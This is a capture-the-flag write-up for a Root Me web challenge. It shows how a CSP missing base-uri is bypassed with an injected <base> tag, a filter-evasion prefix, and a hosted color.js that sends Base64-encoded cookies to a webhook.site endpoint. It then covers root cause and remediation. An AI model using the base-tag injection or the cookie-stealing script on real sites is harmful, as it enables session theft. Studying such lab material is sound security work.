CSP Bypass via Missing base-uri (CSP Bypass - Nonce 2)
Problem
The Challenge
The challenge presents a simple webpage where user input is reflected and its color is changed by a script. The developer, having been hacked before, has implemented what they believe is a "perfect" Content Security Policy (CSP) to prevent any further attacks.
Primary Objective: Bypass the Content Security Policy and steal the administrator bot's cookies from a webpage that uses nonce-based script protection.
Challenge Details
Platform: Root Me
Category: Web - Client
Points: 35
Validations: 735 (1% of challengers)
Reconnaissance
My first step was to understand the page's functionality and security posture by analyzing the page behavior, scripts, and most importantly, the Content Security Policy.
Analyzing Page Behavior and Scripts
The application consists of a simple color-changing interface with two JavaScript files:
- User Input: An input field that takes a string from the URL hash (
#) - script.js: Reads content from the URL hash and injects it into the DOM. Contains a basic filter that replaces the first occurrence of
<with<and>with> - color.js: Handles the color-changing logic. Crucially loaded using a relative path:
<script src="color.js">
Evaluating the Content Security Policy
I inspected the HTTP response headers using browser developer tools and found the CSP:
Content-Security-Policy: connect-src 'none'; font-src 'self'; frame-src 'none'; img-src 'self'; manifest-src 'none'; media-src 'none'; object-src 'none'; script-src 'nonce-d926517bd68e7531197827900b78a2ea'; style-src 'self'; worker-src 'none'; frame-ancestors 'none'; block-all-mixed-content;I used Google's CSP Evaluator to analyze this policy and received a critical finding:
HIGH SEVERITY FINDING: base-uri [missing] Missing base-uri allows the injection of base tags. They can be used to set the base URL for all
relative (script) URLs to an attacker controlled domain. Can you set it to 'none' or 'self'?
Key Findings
The reconnaissance revealed several critical facts:
- • The CSP is missing the
base-uridirective - • A legitimate script (
color.js) is loaded using a relative path - • The XSS filter only sanitizes the first
<and>characters - • The browser doesn't know the "base" URL for relative resources
Attack & Steps
Understanding the base Tag Vulnerability
The HTML <base> tag specifies the base URL for all relative URLs in a document.
Without the base-uri CSP directive, an attacker can inject this tag to hijack relative
script paths.
When the browser encounters <script src="color.js">, it needs to know where to
load it from.
If I inject <base href="https://evil.com/">, the browser will request:
https://evil.com/color.jsThis completely bypasses the CSP because the script is loaded from a domain that passes the 'self' check from the attacker-controlled base perspective.
Bypassing the XSS Filter
The filter in script.js only replaces the first < and >.
I could easily bypass this by adding a dummy tag at the start:
<><base href="https://attacker.com/">The first <> gets sanitized to <>, but the <base> tag remains intact and functional.
Setting Up the Attacker Infrastructure
I needed two components for this attack:
- Hosting Server: A server to host the malicious
color.jsfile - I used alwaysdata for this - Exfiltration Endpoint: A webhook to receive the stolen cookies - I used webhook.site
First, I set up a webhook.site URL to capture the stolen data:
https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxxThen I created a free hosting account on alwaysdata to serve the malicious script file.
Crafting and Hosting the Malicious color.js
I created a malicious color.js file that would steal the cookies and send them to
my webhook. I used btoa() to Base64-encode the cookie string to ensure it passes
through the URL
without issues:
// Malicious color.js payload
document.location = 'https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/?stolen_data=' + btoa(document.cookie);I uploaded this file to my alwaysdata account and verified it was accessible at:
https://attacker.alwaysdata.net/web-client/ch62/color.jsThis setup allows the injected base tag to redirect the browser to load color.js from
my controlled server,
which then executes the cookie-stealing payload and exfiltrates the data to my webhook.
Assembling the Final Payload
I constructed the final injection payload with the filter bypass, pointing to my alwaysdata hosting:
<><base href="https://attacker.alwaysdata.net/">Then I URL-encoded it and appended it to the challenge URL's hash fragment:
http://challenge01.root-me.org/web-client/ch62/#%3C%3E%3Cbase%20href=%22https://attacker.alwaysdata.net/%22%3ECapturing the Flag
I submitted the final URL to the challenge's bot. Within seconds, a new request appeared in my webhook.site log:
GET /?stolen_data=TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQI decoded the Base64 string to retrieve the flag:
echo "TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQ" | base64 -d Solution & Root Cause
Root Cause Analysis
The vulnerability exists due to an incomplete Content Security Policy implementation. While the developer correctly implemented nonce-based script protection, they overlooked a critical directive.
- Missing base-uri Directive: The CSP lacked
base-uri 'self'orbase-uri 'none', allowing injection of<base>tags - Relative Script Paths: The use of relative paths (
src="color.js") made the application vulnerable to base tag hijacking - Weak XSS Filter: The filter only sanitized the first occurrence of angle brackets, easily bypassed
- Incomplete Security Testing: The CSP wasn't validated against known bypass techniques
Attack Chain Breakdown
The successful bypass followed this attack path:
User Input Reflection
↓
Bypass XSS Filter (<><base ...>)
↓
Inject <base> Tag
↓
Hijack Relative Script Path (color.js)
↓
Browser Loads Malicious Script from Attacker Domain
↓
Cookie Exfiltration via Base64 Encoding
↓
Flag Captured on WebhookWhy This Bypassed the CSP
The CSP had script-src 'self', which should only allow scripts from the same origin.
However, by controlling the <base> tag, I redefined what "same origin" meant for
relative URLs. The browser resolved color.js relative to my attacker-controlled base,
not the actual page origin.
# Without base tag:
<script src="color.js"> → https://challenge.root-me.org/color.js ✓
# With injected base tag:
<base href="https://attacker.alwaysdata.net/">
<script src="color.js"> → https://attacker.alwaysdata.net/web-client/ch62/color.js ✓
# CSP doesn't block this because base-uri is not restricted!Remediation
Immediate Fix
- 1 Add base-uri 'self' or base-uri 'none' to the Content Security Policy
- 2 Use absolute URLs for critical scripts instead of relative paths
- 3 Implement proper input validation that blocks all HTML tag injection, not just the first occurrence
- 4 Use Content-Security-Policy-Report-Only mode first to test changes without breaking functionality
Corrected CSP Header
The fixed Content Security Policy should include the base-uri directive:
# Original (Vulnerable)
Content-Security-Policy: default-src 'none'; script-src 'self' 'nonce-randomnonce'; style-src 'self' 'nonce-randomnonce'; object-src 'none';
# Fixed (Secure)
Content-Security-Policy: default-src 'none'; base-uri 'self'; script-src 'self' 'nonce-randomnonce'; style-src 'self' 'nonce-randomnonce'; object-src 'none';Long-term Security Improvements
- 1 Implement strict CSP with all necessary directives (base-uri, form-action, frame-ancestors, etc.)
- 2 Use automated CSP validation tools in CI/CD pipeline (e.g., Google CSP Evaluator)
- 3 Implement proper output encoding using a security library (e.g., DOMPurify)
- 4 Consider using Trusted Types to prevent DOM-based XSS entirely
- 5 Regular security audits focusing on client-side vulnerabilities
- 6 Implement Content-Security-Policy-Report-URI to monitor policy violations
- 7 Use Subresource Integrity (SRI) for external scripts to prevent tampering
Testing the Fix
After implementing the fix, verify that the vulnerability is remediated:
- Test base tag injection - should be blocked by
base-uridirective - Verify CSP with Google CSP Evaluator - should show no high-severity warnings
- Test legitimate functionality - color changing should still work
- Monitor CSP violation reports for any unexpected policy blocks
Key Learnings
A Content Security Policy is only as strong as its weakest directive. A single missing directive
like base-uri can completely undermine an otherwise robust policy. Always validate
your CSP with automated tools and stay updated on known bypass techniques.
Key Takeaways
- CSP is All or Nothing: One missing directive can render the entire policy ineffective
- Relative Paths Are Risky: Always be aware of how browsers resolve relative URLs and how they can be manipulated
- Defense in Depth: Don't rely solely on CSP - implement proper input validation and output encoding
- Creative Tooling: Services like webhook.site are invaluable for quickly prototyping exfiltration attacks
- Test Your Security: Use tools like Google CSP Evaluator to validate security policies before deployment
Additional Resources
- → Google CSP Evaluator - Validate your CSP
- → CSP Reference - Complete CSP directive documentation
- → PortSwigger CSP Guide - CSP bypasses and best practices
- → MDN CSP Documentation - Official CSP reference
- → Webhook.site - Quick webhook testing tool
- → alwaysdata - Free web hosting for testing